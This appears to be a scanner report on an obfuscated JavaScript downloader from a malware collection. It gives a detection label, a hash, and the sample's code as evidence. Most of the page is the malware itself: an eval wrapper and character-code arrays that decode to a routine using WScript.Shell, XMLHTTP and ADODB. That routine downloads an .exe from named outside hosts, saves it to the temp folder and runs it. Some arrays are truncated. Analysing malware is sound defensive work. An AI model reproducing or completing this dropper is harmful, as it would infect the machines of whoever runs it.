Suspicious 80% javascript-malware-collection Download

20151209_54611e7590d3b375d8fb240ab3b1e4b8.js

Obfuscated downloader executes remote payload

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256ea90a768b1eb634fca6c6376bc3bab24a64e2798238aa30ca0012d416b7c9b0d

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';oTxSb[126]='~';oTxSb[127]='';
3function XpoBg(tvkxGkYjkOr,uRNLxdRfXkNIZ,UblqZQWc){croV=parseInt(tvkxGkYjkOr,uRNLxdRfXkNIZ);lrrgl=croV.toString(UblqZQWc);return lrrgl;}function pWDBZCzPEHJLWkJ(snFcdsAUqMdpBLKFi){eval(snFcdsAUqMdpBLKFi)}
4function XKEwkvScTAZoxFaCYMfxdoLWzqRTKoovnAPGPwprTdTlDfJkfkXGUA(LShNLOQSSnVGd,FnPePzuJkVTsSA){ return oTxSb[XpoBg(LShNLOQSSnVGd[FnPePzuJkVTsSA],(5463+67)/553,(8264+426)/869)];}
5function XvCVmYp(pCgdUItsncqAALIzVRDMLRFHUrvzDksLUUTf) {return !isNaN(parseFloat(pCgdUItsncqAALIzVRDMLRFHUrvzDksLUUTf)) && isFinite(pCgdUItsncqAALIzVRDMLRFHUrvzDksLUUTf);}
6function FFIjVtqbgWt(qGFhlDch,zQsaPI){return qGFhlDch.split(zQsaPI)}
7var I=["13","10","13","10","118","97","114","32","73","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","117","111","98","32","61","40","40","49","47","42","99","66","98","72","55","52","53","49","50","55","53","57","54","110","56","51","48","56","49","56","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","88","71","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","117","111","98","41","59","13","10","118","97","114","32","90","69","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","105","89","69","32","61","32","88","71","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","90","69","41","59","13","10","118","97","114","32","107","99","74","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","76","79","100","32","61","32","107","99","74","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","74","100","32","61","32","116","114","117","101","32","32","44","32","115","114","105","76","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","109","79","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43"," …
8var m=["51","55","55","48","59","13","10","102","111","114","32","40","118","97","114","32","79","61","102","101","80","59","32","79","60","73","46","108","101","110","103","116","104","59","32","79","43","43","41","32","32","123","13","10","32","32","118","97","114","32","106","107","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","109","79","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","73","91","79","93","43","89","44","32","102","97","108","115","101","41","59","32","109","79","46","115","101","110","100","40","41","59","32","105","102","32","40","109","79","46","115","116","97","116","117","115","32","61","61","32","53","52","52","45","51","52","52","41","32","32","123","13","10","32","32","32","32","32","32","71","102","85","46","111","112","101","110","40","41","59","32","71","102","85","46","116","121","112","101","32","61","32","49","59","32","71","102","85","46","119","114","105","116","101","40","109","79","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","71","102","85","46","115","105","122","101","32","62","32","49","55","57","48","54","45","53","57","54","41","32","32","123","13","10","32","32","32","32","32","32","32","32","106","107","32","61","32","49","59","32","71","102","85","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","71","102","85","46","115","97","118","101","84","111","70","105","108","101","47","42","114","79","85","71","50","50","118","109","105","51","42","47","40","105","89","69","47","42","84","115","65","98","54","55","65","118","115","78","42","47","43","97","67","86","71","73","67","73","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32", …
9var opaiX=[I,m];
10var IObhLtTCA=[];
11function OxOdcLUbIQSxltbLA(opaiX){PDjtpHwKoaI= '';for(VJXduMkQKgk=(-975+975)/292; VJXduMkQKgk < (235+953)/594; VJXduMkQKgk++) {IObhLtTCA[VJXduMkQKgk]=(-423+423)/327; while(true) { if(IObhLtTCA[VJXduMkQKgk] > opaiX[VJXduMkQKgk].length-(359+425)/784) { break; } if (XvCVmYp(XpoBg(opaiX[VJXduMkQKgk][IObhLtTCA[VJXduMkQKgk]],(3179+111)/329,(905+595)/150))) {PDjtpHwKoaI += XKEwkvScTAZoxFaCYMfxdoLWzqRTKoovnAPGPwprTdTlDfJkfkXGUA([opaiX[VJXduMkQKgk][IObhLtTCA[VJXduMkQKgk]]], (-768+768)/911);} IObhLtTCA[VJXduMkQKgk]++;}} return PDjtpHwKoaI}
12pWDBZCzPEHJLWkJ(OxOdcLUbIQSxltbLA(opaiX));

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